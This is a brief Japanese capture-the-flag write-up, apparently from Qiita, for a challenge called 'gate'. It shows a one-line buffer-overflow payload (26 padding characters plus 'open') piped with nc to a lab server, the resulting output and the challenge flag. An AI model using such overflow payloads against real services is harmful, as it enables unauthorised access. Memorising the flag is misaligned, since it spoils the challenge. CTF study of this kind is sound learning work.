└─$ python -c "print('A' * 27)" | ./gate

<snip>

You'll need permission to pass. What's your name?
> Gate is A.
Goodbay AAAAAAAAAAAAAAAAAAAAAAAAAAA.

26文字目まで適当に埋めて、そこからopenを入力するとフラグが取得できました。

user@6d3ed48b7aef:~$ python -c "print('A'*26 + 'open')" | nc 10.1.1.10 13020

<snip>

You'll need permission to pass. What's your name?
> 
 =============================

     GREAT! GATE IS OPEN!!

 >> Flag is flag{Alohomora} <<

    *-*-*-*-*-*-*-*-*-*-*-*   

 =============================

user@6d3ed48b7aef:~$ 

フラグ

flag{Alohomora}
0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?